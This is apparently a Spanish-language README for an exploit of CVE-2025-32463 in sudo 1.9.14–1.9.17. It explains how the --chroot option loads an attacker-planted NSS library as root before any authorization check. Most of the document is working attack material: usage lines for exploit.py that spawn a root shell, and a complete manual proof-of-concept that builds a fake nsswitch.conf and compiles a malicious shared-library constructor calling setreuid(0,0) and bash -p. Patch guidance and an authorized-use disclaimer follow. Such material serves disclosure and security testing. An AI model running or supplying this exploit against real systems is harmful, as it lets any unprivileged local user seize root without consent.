
Exploit de escalada de privilegios local para sudo 1.9.14-1.9.17 que abusa del manejo de chroot de CVE-2025-32463, plantando un constructor de biblioteca NSS malicioso para generar un shell root para cualquier usuario local.
Escalada local de privilegios a root en sudo mediante la opción
--chroot (-R). Funciona para cualquier usuario local, incluidas cuentas sin ninguna
entrada en sudoers (p. ej. www-data).
sudo 1.9.14 – 1.9.17 hace chroot() al directorio proporcionado por el usuario mientras la
política de sudoers todavía se está evaluando — es decir, antes de la decisión de
autorización. Después de ese chroot(), las búsquedas NSS de sudo leen /etc/nsswitch.conf desde
dentro del chroot del atacante, y glibc convierte un nombre de fuente falso en
dlopen("libnss_<name>.so.2") — que se carga y su constructor se ejecuta como root.
Colocar un nsswitch.conf falso (passwd: /woot1337) junto con una libnss_/woot1337.so.2
maliciosa cuyo constructor ELF ejecuta setreuid(0) + exec("/bin/bash") produce una shell de
root. El exploit se dispara antes de la comprobación de sudoers, por lo que quien lo ejecuta no
necesita privilegios de sudo.
1.9.14 – 1.9.171.9.17p1 (el cambio de chroot de 1.9.14 se revirtió; la funcionalidad quedó obsoleta)Biblioteca estándar de Python 3, un sudo setuid vulnerable (1.9.14–1.9.17) y gcc en el objetivo
(para compilar el pequeño módulo libnss). Ejecute como el usuario con pocos privilegios.
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf = passwd: /woot1337 (+ una copia de /etc/group).libnss_/woot1337.so.2 — un ELF cuyo constructor (__attribute__((constructor))) ejecuta
setreuid(0,0) y execl("/bin/bash", …).sudo -R woot woot — sudo hace chroot en woot, resuelve NSS, hace dlopen de
libnss_/woot1337.so.2 como root, y el constructor proporciona una shell de root — antes de que
sudo siquiera compruebe si el usuario está autorizado.PoC manual canónico (Stratascale / pr0v3rbs "chwoot"):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
Actualice sudo a ≥ 1.9.17p1. La funcionalidad de chroot está obsoleta y no se debería depender de ella.
Solo para pruebas de seguridad autorizadas y fines educativos. Úselo únicamente contra sistemas que usted posea o para los que tenga permiso explícito de prueba.